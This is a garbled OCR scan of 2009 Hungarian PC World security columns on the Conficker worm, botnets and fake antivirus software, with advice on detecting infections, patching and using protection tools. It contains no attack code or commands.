kat, és mindossze néhany tucat géppel sikeresen térdre kényszeritettek egy
webkiszolgalot

18:36 GMT, Thursdw 12 March 2009 Terms | What's this?

tast biztosité botnetekkel vélaszol-
tak a cyberblinozék.

gépeket, de féreg formajaban ter-
jesztik is magukat. A helyzet ki-
alakuldsdhoz ugyantgy hozzéja-
rult az otthoni, olcs6 szélessavi
internet elterjedése, mint aho-

Kinovi magat
az iizleti modell

gyan kulcsszerepe volt a beveze-
tett spamellenes torvényeknek is,
amire pontosan az ilyen anonimi-

Akik régebb ota figyelemmel ki-
sérik az eseményeket, emlékez-
hetnek a Storm féreg esetére (er-

He 0 e G Sibwel o tee

e

igy néz ki egy botnet webes iranyitoéfelillete Firefox alatt. Kevés részletes
nyilvanos informacio van errdl, emiatt ilyen gyenge minéségii ez az abra is.
A lényeg azért latszik: IP-cimek, orszagok, informacio a csatlakozasi allapot-
rol, sét kiilonféle sziirési lehetéségek is a botmester rendelkezésére allnak

Mintha csak torrentezés kézben a wlag minden tajan lévé adatcsomag-for-
rasokat nézegetnénk. Azonban senkit ne tévesszen meg a latvany, ez itt egy
botnet vezérlé adminisztracios feliilete. Van itt japan, brazil, kinai és még ki
tudja, hany orszagbeli zombigép
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Conficker Eye Chart

SecureWgerks' | ) TReEND
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How to interpret:

1t probably means this.

= Normal/Not Infected by Conficker (or using proxy)
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o
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{
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>
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e

= tmage loading turned off in browser?

Any other combination | = Poor Internet connection?

A Conficker Work Group munkacso-
port weboldalan talalhato ellen-
6rz6 link, amellyel megnézhetjuk,
fert6zott-e a gépuink. A vizsgalat

a blokkolt tartalmak alapjan hozza
meg a dontést

rél részletesen sorozatunk 6. epi-
zédjdban frtunk), vagy a késébb
felbukkant Krakenre, amely ren-
geteg varianssal és titkositott kéd-
dal rendelkezett. Hires-hirhedt
még a Rustock és a szintén téme-
ges spamterjesztésérdl ismert Srizbi
is. Ma mar a botneteket jobbara
nem értékesitik, hanem bérbe ad-
jak. S6t, nem is egyben az egészet,
inkdbb csak darabokban. Miért j6
ez? Nagyjabol azért, hogy a leleple-
z6s, lenyomozés esélye a minima-
lis lehessen. A spamterjeszté egy-

szer(ien kifizeti az dsszeget a virus
iréjanak vagy egy kozvetit tizlet-
kotének, és mar ,dolgozhat” is.

A rengeteg szamit6gép hatalmas tel-
jesitményt és rendkiviili sdvszélessé-
get kindl. Emellett a botnet tagjai a
dinamikus IP-cimek miatt nehézke-
sen azonosithatdak, ezért ez a szisz-
téma szinte teljes anonimitdst bizto-
sit a blinézdknek.

Bemutato él6 adasban
Meérciusban a BBC Click misoraban
egy kilonleges adast lathattunk. Eb-
ben az Gijsagirok részletesen bemu-
tattdk, hogy mikodik ez az egész.
Az lizletet egy illegalis chatszobaban,
orosz és angol nyelv keverékét hasz-
nalva lehetett nyélbe (itni, kézveti-
t6k segitségével. Ez biztositotta, hogy
mind az eladd, mind a vevé inkogni-
téban maradhasson. Kibéreltek egy
20 ezer gépbdl allo botnetet, és be-
mutattak, mire képes. A sajat e-mail
cimeiket megbombaztak spamekkel,
és alig 60 gép segitségével eredmé-
nyes DdoS-tamadast intéztek a sajat
webszerveriik ellen.

Bar az adas utan sok tamadas
érte a msor készitsit — erkolcsileg
és jogilag is aggalyos a bin6zéket
tdmogato ilyen fajta tevékenység
—, de kétségkiviil szemléletesen és
hatdsosan juttatték el figyelmezte-
tésiiket a néz6khoz.

Mirol vehetjiik észre?

Egy felhaszndl6 gépe anélkil lehet
egy ilyen botnetes infrastruktdra ré-
sze, hogy gazddja kérte vagy enge-

A gyenge halézati jelszavak
F{ - veszélyt jelentenek

A kilst adathordozok
Autorun funkcioja
is terjesztheti a fertbzest

A Tereg a halézati megosztasokon
keresztil is kepes fertozni

| A

Y4 a i j Vrs
YT

]
Attkéletes védelemhez rendszeres biztonsagi

frissitések, naprakesz antivirus s megfelelfen
erfs halozali jelszavak hasznalata ajaniatos

-

A Win32/Conficker féreg az itt felsorolt
tisszes lehetdseget kihasznalja

&s igyekszik mingl tobb vedtelen
szamitogepet megfertdzni

Ha nem telepitjik a Windows biztonsagi

frissiteseit, megfert@zédhetink

A Microsoft abraja a Conficker féreg miikodésérdl. A kilsé eszk6zok csatla-
koztatasakor automatikusan elindulé Autorun folyamatok komoly biztonsa-

gi kockazatot jelentenek

Botnet Click Fraud by Quarter
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9 Click Forensics, |
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A botnetek segitségével elkovetett kattintasi csalasok szama évrdl évre
emelkedik. A reklamokkal kapcsolatos visszaélés Iényege, hogy ilyenkor
nem él6 hus-vér internetezék latogatjak az oldalt, hanem csak automatikus
szkriptek novelik a kattintasok szamat, vagyis a csalas miatt bar a latogata-
sok szama magas, a hirdeték reklamjait a kutya sem nézi meg

délyezte volna azt, illetve tobbnyi-
re nincs is tudomasa rola. Tegyiik
fel, olvassa most ezt a cikket, és sze-
retné kideriteni magdrdl, érintett-e.
Szerencsére itt jobb a helyzet, mint
a hipochonderek esetében, akik or-
vosi kényvet olvasva szinte mindent
tinetet képesek felfedezni magu-
kon. Gyanakodhatunk, ha abba a
csoportba tartozunk, amely se nem
frissit, se nem hasznal biztonsdgi
szoftvereket. (Ha ezek hidnyoznak,
azonnal pétolni kell a mulasztast,
majd a virusirté futtatasaval gy6zéd-
hettink meg gépiink pontos éllapo-
tarol.) Ezek megléte esetén pedig
azt érdemes vizsgdlni, illetve meg-
figyelni, nem lassult-e le talsagosan
az internetkapcsolat sebessége.
Ennek persze szimos més oka
is lehet, de ezek kézétt szerepel
az is, ha egy botnet mar egyéb
rejtett feladatokkal emészti fel
a sdvszélességlink tetemes ré-
szét. Ugyancsak egyszer(en kivi-
telezhet6 médszer, ha a Feladat-
kezel6t (Task Manager) meghiv-
juk, és amikor éppen semmilyen
feladatot vagy letoltést nem vé-
gez a géplink, ellendrizzik a ha-
[6zati forgalmat. Ha az éltalunk
Vélt csendes iddszakban is massziv
adatforgalmat tapasztalunk, ez is
int6 jel lehet arra nézve, nem mi
irdnyitjuk sajat szamitogéptinket.
A sokmillié confickeres fert6zés
miatt azt is érdemes lehet ellen-
6rizni, hogy a mi géptinkon dolgo-
zik-e valamilyen féregvdltozat. Eh-
hez az egyik legegyszer(ibb teszt a

Conficker Working Group webol-
dalan (confickerworkinggroup.org)
taldlhato tesztoldalt lefuttatni, amely
azon alapul, hogy a kartevd blok-
kolja a virusvédelmi cégek weblap-
jait. Ha nem jelenik meg minden
abra maradéktalanul, akkor érde-
mes lehet fertézésre gyanakodni.

Baj esetén haszndlhatjuk az olyan
egyedi mentesitS segédprogramo-
kat, mint példaul az ingyenes ESET
Conficker Removert (www.eset.hu/
viruslabor/ingyeneseltavolitok). Vi-
gyazzunk, csak megbizhaté gyartd
weboldaldrdl letltott alkalmazésban
bizzunk, mert e témaban is elindul-
tak a kéretlen levelek, amelyekben
ingyenes Conficker-mentesitét hir-
detnek, azonban ehelyett a kétes le-
toltési link tovabbi kdrtevdket szaba-
dit a szamitdgéptinkre.

A Microsoft is felvette

a kesztyiit

A Microsoft hivatalos rosszindula-
td szoftvert eltdvolitd programjaval
(MSRT) is sok esetben védekezhe-
tiink, és mivel a biztonsagi rések mi-
att a cég renoméja is csorbul, nem
kevesebb, mint 250 ezer dollart
ajanlottak fel vérdijként a Conficker
féreg készitGinek kézre keritéséért
idén februarban. Ez pestiesen szdl-
va, de értékét tekintve az egész vi-
lagon is mar ,van az a pénz”-kate-
géria, ami miatt taldn egyszer lesz
érdemi informécid. Igaz, a bejelen-
t6nek nemcsak azzal kell majd t6-
rédnie, mihez kezd a majdnem 54
milli6 forintnak megfelel6 6sszeg-
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masan il 1.0

a vilagban a tdma-
désok? Nem. Nos,
pontosan emi-

att gydltek ssze a
szakemberek, hogy
a hélézati forgalom
elemzésével, virus-
csapdanak hasz-

nalt szamitogépek
(honeypotok) ada-
taival, a kdrtevé

A Magyar Posta nem bizta a véletlenre. A kézlemény
arrol tajékoztatja az lgyfeleket, hogy az aprilis 1-jére
josolt Conficker-tamadas miatt két teljes napra
drasztikus korlatozast rendeltek el, ez id6 alatt még

e-maileket sem fogadtak

gel, hanem azzal is szamot kell vet-
nie, hogy egy ilyen maffiaszer( cse-
lekményben résztvevé és hihetetlen
profi tudast elkovetdkre tett terhelé
vallomasaval képes lesz-e titokban
maradni élete hatralévé részében,
ergo tudja-e majd bosszlimentesen
élvezni is ezt a dijat.
Egységfrontba tomoriilt
biztonsagi cégek
Tobb kiilon szervezet is alakult a
helyzet stlyossagéra valo tekin-
tettel. Az egyikben példaul olyan
neves cégek sorakoztak fel a mar
emlitett Conficker Working Group
zaszlaja alatt, mint példaul az
F-Secure, Cisco, ICANN, ESET,
Kaspersky, McAfee, Microsoft és
még sokan masok. Céljuk, hogy
kiizdjenek a botnetek ellen.
Amikor a felhasznalok fel6l néz-
zlik, az a j6 médszer, hogy min-
denki frissitse a gépét, hasznéljon
tlizfalat, valamint antivirus szoftvert
és kémprogram-irtét. Megdvta ma-
gat ezzel? Igen. Megsz(intek ettdl

ESET

Protection status
Watch activity -
Network connections

Statistes Operating system is not up to date

==,
! § Computer scan =
B setup

a Toals
6 Help and support

 Antivirus and antispyware

Number of blocked attacks

Display: Advanced mode Change

This compuiter does not have all available operating system updates installed. Please install the missing updates by
means of the Windows Update service, For more information, clc

Version of virus signature database: 3925 (2009

példanyainak visz-
szafejtésével szer-
zett részletesebb
informéciokkal
maguk a vezérlg
szerverek és a kar-
tékony kédok készitsi, hasznéléi
ellen tudjanak hatékonyan fellépni,
illetve a jelenséget megsziintetni.

Elmaradt a vilagvége
aprilis elsején

A legtijabb Conficker-varians, az
tgynevezett Conficker.X visszafej-
tése sordn a kutatok azt lattak a for-
raskodban, hogy 2009. aprilis else-
jére varhatd egy nagyobb volumen(
tdmadas. Ehhez a botnetgazdak egy
50 ezres domainallomanybdl va-
lasztanak ki 500 véletlenszer( szer-
vert, amelyek segitségével igyekez-
nek a fert6zott gépeket vezérelni,
tovabbi kartékony kédok letoltésére
és tamadasokban val6 részvétel-

re ravenni.

Az prilis elsejei latvanyos akcié el-
maradt ugyan, de a veszély egészen
biztosan nem harult el. Lehet, hogy
kivarnak, amig a kiemelt figyelem
lankad, lehet, hogy éppen a média-
visszhangot kezdik majd felhasznal-
ni hamis Conficker-irtd szoftverek t6-
meges terjesztésére, egyelGre csak

13
wAdid
User intertaces Sstupw Toolsw Helpw

e precs your g wercs (@SIED

Az ESET Smart Security kulon lizenettel figyelmeztet, hogy nem toltottik le
és telepitettiik az 6sszes Microsoft Windows biztonsagi javitast

60| PC WORLD ° 2009. MAJUS

taldlgathatunk. Mindenesetre a visz-
szajelzések egyértelmden arrl ta-
nliskodnak, hogy a készitSk igazi
profik, és vélhetGen sok borsot fog-
nak még az orrunk ala tomi.

Ahol tesznek is ellene
Ausztrélidban mar minden hato-
dik szamitogép egy botnethalézat
tagja. Emiatt indtottak Zombi Tu-
datossagi Hét néven kampanyt a
Sophos kozrem(ikodésével, amely-
nek legfébb célja, hogy felhivja a
figyelmet erre a kdros jelenségre,
erdsitse a felhasznalok biztonsagtu-
datossdgdt és segitséget nydjtson a
fert6zott gépek megtisztitasaban.

Becslések szerint csak a Conficker
féreg altal rutinszerien megfer-
t6z0tt, és ezéltal botnet tagjé-
va tett szamitogépek szama vi-
lagszerte meghaladja a 10 mil-
liét. Egy ilyen megfert6zott
szamitégép aktivan részt vesz a
spamkildésekben, webhelyek el-
leni DdoS-tamadésokban anél-
kiil, hogy a tulajdonos szélessav
internetkapcsolatdban barmilyen je-
let, vagy érdemi lassuldst észlelne.

A tapasztalatok szerint nemcsak
a kisebb vallalatok, vallalkozasok
szamitégépei, hanem a gyors és dl-
landé internetkapcsolatok miatt ki-
fejezetten a maganemberek van-
nak egyre nagyobb veszélyben.
Kell6 szakmai ismeretek hidnya-
ban, illetve szakérts ismerds, barat,
alkalmazott, rendszergazda, csa-
ladtag hianyaban konny( bekeril-
ni a szérésha.

Egy OECD-tanulmany szerint a
fert6zott botnetes gépek szama év-
r6l évre meredeken emelkedik,
emellett a fert6zott weboldalak sza-
ma is egyre novekszik. A rosszindu-
latt webhelyek tobbsége tovabbra
is kinai, illetve amerikai szervereken
hostolt oldal. Az eseményszervezdk
reményei szerint most igyekeznek
minél tébbeket tdmogatni abban,
hogy kikertilienek a botnetekbdl, il-

KAPCSOLODO WEBOLDALAK

letve felvilagositassal és gyakorlati is-
meretekkel segitenek a megel6z6
védekezésben.

Mindenki tegye

a kotelességet!

Amig a Windows-felhasznaldk nin-
csenek tudatdban a veszélynek, nem
igazan fog valtozni semmi. Még a
pesszimista becslés szerint is legalabb
5000 Gj kartevét frak naponta erre
az operacios rendszerre, és ez az
iram még a legfejlettebb heurisztikat
is alaposan megdolgoztatja. A legcél-
ravezetGbbnek az tdnik, hogy ma-
guk a felhaszndlok legyenek képzet-
tebbek, biztonsagtudatosabbak és
kevéshé lustak. Magyarul a legrévi-
debb idén belil rendszeresen frissit-
sék az operacids rendszert a megje-
lent biztonsgi javitisokkal — példaul
telepitsék a Conficker miatt is érin-
tett MS08-067-es biztonsagi frissi-
tést —, illetve hasznaljanak naprakész
antivirus szoftvert és kémprogramok
elleni védelmet, valamint kétiranyd
sziirésre bedllitott tlizfalat. Legyenek
tudataban, mivel jar egy webes link-
re valé kattintds, és az milyen auto-
matikusan lefut6/teleptil6 kartevéket
hozhat a rendszerbe.

Ezzel ugyan még nem élveznek
100%-0s védelmet, de mar min-
dent megtettek, ami rajtuk mdlott,
és fgy minimalizalték a timadas esé-
lyét. Ha ezt mostanra mar mindenki
megtette volna, ez a cikk és maguk
a botnetek sem szilettek volna meg
jelenlegi ma ismert formdjukban.

EEE

Kérjiik kedves olvasdinkat, ha
a témaban kérdésiik, hozzaszo-
lasuk van, juttassak el hozzank
(velemeny@pcworld.hu).

Csizmazia Istvan,

virusvédelmi tandcsad6

Sicontact Kft., a NOD32

antivirus magyarorszagi képviselete
antivirus.blog.hu

A ESET magyar nyelv( viruslexikona: www.eset.hu/virus

A Bonni Egyetem webes Conficker-tesztje: hopp.pcworld.hu/5676

A Conficker Working Group webes Conficker-tesztje:

hopp.pcworld.hu/5844
ESET Conficker Remover letdltés:

www.eset.hu/viruslabor/ingyeneseltavolitok



Homokba dugott fej

Sorozatunk huszonkettedik epizddjaban korljarjuk a két ellentétes oldal érveit. A piros sarokban ugy
gondoljak, hogy ha 6vatosan neteznek, nem eshet bantddasuk antivirus szoftver és profi tizfal nélkiil
sem. A kék sarok ezt azért masképp latja: dvatossagra természetesen sziikség van, de ett6l még nem
nélkllozhetbek a biztonsagi programok.

ki mar olvasott kilénbo-

26 szamitastechnikai foru-

mokat, az biztosan megta-
pasztalta, milyen erds indulatok tud-
nak idénként elszabadulni. Egy-egy
Linux kontra Windows, Norton vs.
Kaspersky, vagy éppen a ,virusirtét
csak az idi6tak haszndlnak” téma-
ja topikba akar ezernyi hozzaszo-
[as is érkezhet, de nem biztos, hogy
igaz érvek csapnak Gssze a hitvitdk-
ban. Most meghallgatjuk a két fél ér-
velését, aztan megprobalunk igazsa-
got tenni.

Piros sarok: zavaro és
felesleges ballaszt

annak, aki ésszel netezik
Vajon mi vezet arra valakit, ha mér
ért a géphez valamicskét, hogy olyan
kijelentésre ragadtassa magat, mint
példaul, hogy az antivirus program
tolakodd, zavaré és felesleges? Ez az

" Antispyware PRO XP

oldal azt allitja, nem hasznal sem-
milyen antivirus szoftvert, de nem
az dra miatt, vagyis ingyenes verziot
sem telepitenek fel. Igy aztan nincs
is semmifajta teljesitménycsokkenés,
vakriasztas, biztonsagi programok
esetleges Osszeakadasa. A koncepcié
lényege az, hogy kizarélag

a Windows beépitett eszkozeire
tdmaszkodnak és ehhez tarsul még
néhany kialakult szabaly.

Az els6 védelmi vonalat a tiizfal je-
lenti, és ebbdl akér tobb is miikod-
het nluk egyszerre, ugyanis a leg-
tobb router tartalmaz ilyet, és emel-
lett a Windows alapkészletébe is
beletartozik a szoftveres t(izfal.

Természetesen az Gtvalaszt6 on-
magaban nem tudja megallita-
ni a virusokat, kémprogramokat,
adathalasz tdmaddsokat. Viszont
ha valaki példaul Gmailt hasznl,

” 2z

akkor a spamsz(iré modul elég ha-

tékonyan képes kisz(irni a kéret-
len levélszemeteket, és ezek kozt
sok a kartevé-terjeszté oldalak link-
jeire mutat6 tizenet. Mint tudatos
felhaszndlo, természetesen nem is
kattint mindenfajta levélre vagy le-
vélmellékletre, hiszen jol tudja, mi-
vel jarhat ez.

Bemutatkozik
afegyverarzenal

A tudatos bongészés ismét csak fel-
vet eszkozbeli, valamint viselkedés-
beli kivanalmakat. Ez a csoport nagy
ivben kerili a régebbi kiaddst Inter-
net Explorer hasznalatat, és jobbéra
az Uj IE 8, de még inkabb a Mozilla

A kék halalt nem szeretjik, s6t kimondottan utaljuk. Ez valéjaban csak egy
triikkos kép, amikor nem igazi lefagyas tortént, hanem a hamis antivirus
akarja velunk elhitetni, hogy baj van a gépiinkkel.

Antispyware PRO XP Scan For Malware And Remove Detected Thieats
. & o
ot Antivirus 2010
| B StartScan: | 1 T L] | % Remove Threats| | ' Register |
Current Operation -
= What is Spyware
] Spyware, like avirus, is a malicious
Ohserving..., software planted o your PC by athird
party in order o secretly monitor what
you do online
- Once your browsing habits are
Antimalware Database analyzed, you are flooded with endless
Known threats: 11302 Last update: M/& ﬁz"ggﬁz‘?ﬁ‘:fnpws 08 B
Spyware also dramaically slows down
Malware Threats Found your eomputer and Intemet eonnection
speeds
Threat name Description Skatus Severity Location = W the
y _ 3 - Spyware collects your private
SillyDI BCL & program that download... Infected! @ Very high in memory information and steals your identity,
Trojan.PSui.Bar... Barrio trojan- s progra... Infected! @ Very high i memory panswonts) cradieard felieand-thar
Win3Z. Galorion ... Galorion variants contae. ., Infected! @RI in memary a i
LdPinch A wariant of the Kev Log,.. Infected! b ad in memary S
Win32 fCadux.BS Win32/Cadux,BS i a troj.. |nfected! @ Very high in memory
Win32 Mundo. BV Win3Z2, Mundo is 3 large f... Infected! @ Very high in registry FOR WINDOWS
Helper Categary... Infected!  © Medium in registry o -98/ME/2000/XP/Vista:
Mote: Double click on item for more infarmation

Antivirus 2010 an awarc-winning spyware
removal utility will help you fighting all kinds of
spyware and acware including keyloggers, trojan
horses, password thieves and on.

NOW FOR

Basic signs of Spyware infection

wel 10 one of tiese questions is "Yes™, hen you are prohably ifected.
1. Your computer has slowed down

2. Your Internet connection speed has decreased

3.°fou have downloaded music orsoftware fram the Wek

4 You get popups and annoying ads when you're online or sometimes even affline
& YYour default home page has been changed to the one you didn't ask for

6. fou have an exra toolbar installed, and you don't know where it came from

@ | 7 oureceive more spam emalls than ever

Hame |

Tudjuk, hogy egy hamis kémprogramirté minden esetben jelez, még ujon-
nan telepitett tiszta gépen is. Egy igazi védelmi programnak is lehetnek
vakriasztasai, ennek ellenére érdemes hasznalni
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Kevés olyan szoftvert ismeriink, amely egyarant kompatibilis a Windows
98-tol kezdve az XP-n at egészen a Vistaig. Mar ennél a pontnal is elkezdhet-
nénk kételkedni erre az ,,0lcs6”, valéjaban hamis védelmi programra
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A klub, ahova nem szeretnénk tartozni. A térképen Europa Conficker féreg
altal fert6zott botnetes gépei lathatoak. Ok is ugy gondoltak, nincs sziiksé-
guk védelemre
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Amire a Windows beépitett tiizfala nem képes: mind a kimené, mind
a bejovo adatforgalom ellenérzése, szofisztikalt szabalyrendszer alkotasa,
részletes beallitasi lehetéségek garmadaja

nalnak warez vagy illegdlis szoftvert
sem, csak legdlis vagy ingyenes prog-
ramokat futtatnak a gépukon.

Kék sarok: szép-szép, de
azért arnyaljuk csak

kissé ezt a képet!

Biztosan annak is van egy kis Robin
Hood-feelingje, ha valaki évi par-
ezer forintot igyekszik megspérolni,
dacolva a biztonsagi szoftveriparral.
Latni kell azonban, hogy az elmiilt
hisz év eseményei egyre gyorsabb
iramban arrdl szdltak, hogyan lehet
alkalmazasokat és szolgdltatasokat
mésként haszndlni, hogyan lehet hi-
békat széleskordien kihasznalni. Mi-
vel a kértevék biinézék éltal torté-
né terjesztése és célba juttatdsa mar
egy tudatos és iparszer( folyamat,
nem igen boldogulnank segit6-vé-
d6 alkalmazasok nélkiil. A piros sa-
rokban felsorolt 6vatossagi intézke-
déseket matematikaprofesszorosan
,sziikséges, de nem elégséges” |é-
peseknek értékeljiik. Hiszen nagy
hangon mondhatja barki, hogy ne-
ki nincs sziiksége szanalmas ajtézar-
ra, a zar- és lakatmdvek téle nem
&t egy fillért sem, majd 6 megvé-

di magdt, lakdsat, hazat a nuncsaku-
javal. Ami az esetek jelentds részé-
ben taldn mdkodik is, de mi van,
ha a lakastulajdonos éppen alszik,
WC-re megy, fiirdik, esetleg el kell
mennie otthonrél, netan a kopogds
nélkil érkezd ,latogatok” fizikai
erGben, felfegyverzettségben és
létszamban is folényben vannak?

A konstruktiv ellenzék
dicsér is, ha van mit
Természetesen taldlunk azért rész-
ben pozitiv tizenetet a kiilsé fejlesz-
tés(i biztonsagi szoftverek ellenzéi-
nek szavaiban. Tekintve, hogy haj-
landéak egy keveset tanulni, kiemelt
odafigyelést tandsitanak az internet-
és szamitégép-hasznalat kozben.
Ezek j6 dolgok, de val6jdban inkabb
kiegészitik a szamitogépes biztonsa-
gi programok védelmét, semmint ki-
valtanak, vagy helyettesitenék azo-
kat. A gyanakvé hozzaallds szintén
sokat segithet a gyakran alkalmazott
emberi megtévesztésen alapuld (so-
cial engineering) csaldsi, fertzési in-
cidensek elharitasanal.

A bongészék, és az ezekbe épitett
adathaldsz, illetve egyéb kiegészitG
figyelmeztetési lehetdségek valéban
hasznosak, de ne feledjtik, amig egy
ilyen listéra felkertil egy potencialisan
kéros URL, addig tobb éra vagy még
ennél hosszabb idé is eltelhet.

Napjainkban szamos olyan fert-
z6 weboldal létezik, ahol a timaddk
az FTP-jelszavakat eltulajdonitva ti-
tokban belépnek a weboldalakra, és
ott minden HTM, HTML, PHP &llo-
ményba besziirnak egy IFRAME ta-
get, amely kartékony kodot tartal-
maz6 linkre mutat. Néhany virusvé-
delmi program — kéztiik a NOD32
is — bongészés kozben azonnal ész-
leli az ilyen gyants IFRAME szekci-
6t, és annak tartalmatdl fuggetlenil
egy altalanos figyelmeztetéssel riaszt.
Emellett ha esetleg mégis megldto-

U9 ~-@£a A2 0DIEa0QAVEHES 0w lasoul
e e 1. |

Firefox mellett teszi le a voksét.
Mindezekben van valamilyenfajta
phishing-sz(irési opci6, amely tippet,
tandcsot ad, ha olyan weboldalra [&-
togatnank, ami szerinte egyértelmd-
en vagy gyanithat6an csaldrd. Mind-
két bongészdkliens fejlesztGi sokat
dolgoztak azon, hogy minél tobb
biztonsagi megoldas kertiljon bele

a programba.

Ezigen:

naprakeész és legalis

A piros sarokban emellett gondo-
san bedllitjak mind a Windows ope-
racios rendszer, mind pedig az 6sz-
szes fontosabb felhasznaléi alkal-
mazas frissitéseinek automatikus

fogadasat. Ezzel llitasuk szerint elke-
riilik a problémakat, hiszen a karte-
vék sokszor hasznalnak ki olyan ex-
ploit kédokat, amelyeket a tudatlan
vagy lusta felhasznalék nem frissite-
nek. Ezek kéz6tt nemcsak néhany
hénapos, de akar tébbéves is szere-
pel, és valéban az ember szinte nem
is érti, miért nem futtatjak a felhaszna-
6k a kész javitasokat ennyi idG eltel-
te utdn sem.

Esa végs6 ,érv”: keriilnek minden-
fajta kétes weboldalt, mindenfajta
nem megbizhatd hir(i vagy ismeret-
len dllomény letSltését. Nem jérnak
porné-, warez-, szerencsejaték- és
hasonld, a kartevk terjesztésében
élenjaré weblapokra. Sét, nem hasz-
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A Gmail spamsziirdje kifejezett jo hatasfokkal valogatja szét a hasznos és
haszontalan kildeményeket. Képiinkon egy terhelési kisérlet eredménye
lathatd, 600 ezer kéretlen tesztlevéllel
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Fert6zés esetén még aktiv virusvédelem esetén is keriilhetiink olyan hely-
zetbe, hogy az antivirus mellett még kiilon segédprogramot (GMER, www.
gmer.net) is igénybe kell venni némely nehezebben eltavolithaté kartevé
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A heurisztika feladata az Gj korokozok viselkedésbeli tulajdonsagaik alapjan
torténd korai felismerése. Akkor szeretjiik, ha mindent észrevesz, de kézben
nem produkal vakriasztasokat. Az AntiStealth modul pedig a rejt6zkodé
rootkitek ellen hasznos, nélkiile esélyiink sincs a leleplezésre

esetében. A feketével jelzett .fert6zések” nem biztos, hogy kérokozot
jeleznek - csak a szakembereknek adnak informaciot -, ezeket ne prébaljuk

eltavolitani!

gatjuk ezt a fert6zott oldalt, akkor
pedig magdra a kartevére kapunk
egy masik, az adott kérokozo kédja-
ra jellemz6 konkrét riasztast.

Lyukak a falban
Azt mindenkinek tudnia kell, hogy
a Windows beépitett tlizfala a tobbi
szoftveres tlizfallal 6sszehasonlitva
igencsak gyengének szamit. Az el-
s6 probléma mindjart az, hogy ma-
gatol csak és kizarélag a bejové for-
galmat sziri, a kimendt egyaltaldn
nem. Hatékonysdg tertiletén sem
képes felvenni a versenyt a kiilsG
gyartok éltal fejlesztett versenytdr-
sakkal, a legtobb teszten minimalis
vagy éppen nulla pontszdmot képes
csak Osszeszedni, és emellett a bedl-
litdsi lehetéségei is jocskan elmarad-
nak a tobbi programéhoz képest.
Egy t(izfal alapos bedllitdsa nem
egyszer( feladat, és sok olyan
kommunikacié zajlik kozben, amely
olyan déntés elé dllitja a felhasznalét,
hogy engedélyezzen vagy tiltson-e
valamit. Példaul ha valaki a Microsoft
Office programcsomagot hasznlja,
az akkor is megkisérli a kommunika-
ciét a SharePoint szerverrel, ha ez
az opcid nincs is az otthoni gépen
telepitve. Egy jo tlizfalprogram tehdt
fel kell legyen készitve a kifelé mend
forgalom minGsitésére, és ha isme-
retlen dolgot taldl, akkor minimum
figyelmeztet, de még inkdbb kérdez.
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Tényleg észlelheto

minden csak megérzéssel?
Bér a kozelmdiltban komoly figyel-
meztetések lattak napvildgot példa-
ul a Conficker féreg kapcsan, sokan
val6ban tgy gondoljék, ket nem ér-
heti baj. Ugy véljiik, szdmos esetben
még a sok tapasztalattal és ,megér-
zéssel” rendelkezd dvatos felhaszna-
6t is meg lehet fert6zni. Ismeretlen
eredet(i program telepitésekor pedig
szinte nélktilézhetetlen, hogy a ré-
gi és (j kartevok detektdlasa is meg-
torténjen. A Windows is tartalmaz
ugyan egy kdrtevGellenes programot,
amelyet havonta egyszer frissitenek.
Avritka frissités, és a piaci verseny-
tarsakkal nem 6sszemérhet§ funkci-
onalitisa ellenére néha hasznt ve-
hetjiik, de semmiképpen sem p6-
tolhatja egy komoly professzionalis
antivirus és kémirt6 alkalmazas tu-
dasat. Az csak egy dolog, hogy egy
modern biztonsagi program példaul
mar tartalmaz heurisztikat az Gj kor-
okozok viselkedésbeli tulajdonsa-
gai alapjan torténd korai felismeré-
séhez, de sok esetben a rejt6zkods,
Windows API-fliggvényeket eltérité
és ezért hagyomanyos eszkozokkel
nem észlelhetd , lathatatlan” rootki-
teket is detektalni tudja.

Kicsit még kapcsolédva a Con-
fickerhez, azt lathatjuk, hogy so-
kan nem forditanak elég figyelmet
a Windows és alkalmazésaik rend-

szeres biztonsagi frissitéseire. Az an-
tivirus-mentes oldalnal azonban 6r-
vendetesen azt tapasztalhatjuk, hogy
erre kiemelt figyelmet fordi-

tanak. Ebb6l érdemes lenne azok-
nak is profitalni, akik viszont hasznal-
nak ugyan virusirtét, de ezt a részt
viszont teljességgel elhanyagoljdk.
Ezt eltanulhatnak t6lik, és példd-

ul egy Secunia Software Inspectorral
(secunia.com/vulnerability_scan-
ning/) igen kényelmesen frissithetéek
az olyan nagy exploitveszélynek
kitett alkalmazasok, mint az Adobe
Reader, az SWF Flash, az Office
allomanyok vagy éppen az Apple
Quick Time. Egyet viszont minden-
képpen meg kell jegyezni: léteznek
emellett nulladik napi sebezhetcsé-
gek is, amelyekre még nem is létez-
nek biztonsagi javitdsok, és az ezek
elleni védekezés még védelmi prog-
ram esetén sem megoldott.

Internet Security nélkiil mit
érek én?

Maté Péter mar sajnos nem énekelhet
a fenti cimmel slagert, mi viszont

jol tessziik, ha nem ,énekeljiik ki”

a személyes és banki adatainkat,
jelszavainkat. Bar néhanyan tgy
gondoljak, hogy az antivirus

KAPCSOLODO WEBOLDALAK

programok Uizletaga csupan olyan
biznisz, ahol a fejleszt6 cégek azon
gazdagszanak meg, hogy sajat ma-
guk frjak a virusokat — ez tavolrél sem
igaz. Szinte mindegyik fejlesztd csa-
pat kicsiben kezdte, megbizhaté és
rendkiviil felkészilt szakemberekkel
folyamatosan kiizdenek a néha szin-
te reménytelen mennyiségben kelet-
kezd kartevsk dradata ellen, és varha-
tdan a helyzet évrél évre keményebb
probatétel elé dllitja Gket, ahogy min-
ket felhasznalékat is. Nem lehet elég-
szer hangstilyozni, hogy 100 szézalé-
kos védelem nem létezik, igy esetleg
még az is megfertdzédhet, aki nap-
rakész védelmi programokat haszndl.
Mear csak emiatt sem érdemes szan-
dékosan tarva-nyitva hagyni az ajtot,
hiszen ezzel ennek esélyét emeljiik
nagysagrendekkel.

* %k
Kérjiik kedves olvasdinkat, ha a té-
mdban kérdésiik, hozzaszola-
suk van, juttassak el hozzank (vele-
meny@pcworld.hu).

Csizmazia Istvan,

virusvédelmi tanacsadd
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

|

Az ESET magyar nyelv viruslexikona: www.eset.hu/virus

Windows Sysinternals programok: www.sysinternals.com

GMER rootkit detektor és eltavolité: www.gmer.net
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Mindentudo fekete dobozok

Sorozatunk huszonharmadik epizodjaban kiprobalunk néhany olyan szolgaltatast, amelyekkel karte-
vOket elemezhetlink. A résztvevok mind igyekeznek tobbet nyujtani, mint egy virustotalos gyorsvizsga-
lat, és pontosan erre a tobbletre lesziink majd nagyon kivancsiak.

nnan indult el a lassan mér

két esztendds cikksoroza-

